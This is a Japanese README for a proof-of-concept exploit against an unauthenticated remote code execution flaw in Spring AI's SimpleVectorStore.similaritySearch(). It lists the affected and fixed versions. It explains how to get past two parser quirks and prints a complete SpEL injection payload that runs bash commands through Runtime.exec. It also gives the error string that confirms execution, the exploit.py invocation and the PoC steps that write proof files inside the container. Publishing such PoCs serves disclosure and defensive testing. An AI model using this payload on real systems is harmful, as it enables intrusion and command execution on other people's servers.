SimpleVectorStore.similaritySearch() における Spring Expression Language (SpEL) インジェクションを介した、認証不要のリモートコード実行。
| アーティファクト | 脆弱性あり | 修正済み |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
修正コミット: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() は、呼び出し元が指定したフィルタキー名をそのまま StandardEvaluationContext によって評価される SpEL テンプレートに渡します。StandardEvaluationContext は完全な JVM リフレクション API を公開するため、攻撃者は以下をフィルタキーに注入することで、認証不要の OS コマンド実行を達成できます。
T(java.lang.Runtime).getRuntime().exec(...)
単純なインジェクションはそのままでは機能しません。2 つのパーサーの癖を回避する必要があります。
' で始まるキーは引用符付き文字列として扱われ、外側の引用符が除去されるため、ペイロードが壊れます。"..." で囲むと、パーサーが外側のダブルクォートを除去し、内側の SpEL 式が #metadata['<KEY>'] に渡されるキー値としてそのまま残ります。#metadata[''] を使用すると(未定義の変数の代わりに)、unknown variable の SpEL エラーを回避しながら exec() をトリガーできます。結果として評価される式は次の形式になります。
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
HTTP レスポンスボディに EL1030E — SpEL ランタイムエラー — が含まれます。
operator ADD not supported between null and java.lang.ProcessImpl
このエラーは exec() が戻った後に発生するため、帯域外コールバックを必要とせずに OS レベルのコマンド実行が確認できます。
前提条件:
pip install requests
エクスプロイトの実行:
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop (macOS/Windows): コールバックペイロードには 127.0.0.1 の代わりに host.docker.internal を使用してください。
PoC は 5 つの連続したステップを実行します。
| ステップ | 説明 |
|---|---|
| 1 | ベースラインチェック — エンドポイントに到達可能で、シードデータが返されることを確認 |
| 2 | ブラインド SpEL プローブ — T(java.lang.System) 経由で java.version を読み取り、インジェクションポイントを確認 |
| 3 | RCE: コンテナ内で touch /tmp/pwned_cve_2026_22738 を実行 |
| 4 | RCE: id / uname / hostname の出力を /tmp/rce_proof.txt に書き込み |
| 5 | docker exec で検証 — 証明ファイルの内容を表示 |
この概念実証は、教育目的および許可されたセキュリティテストのみを目的として提供されています。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して使用しないでください。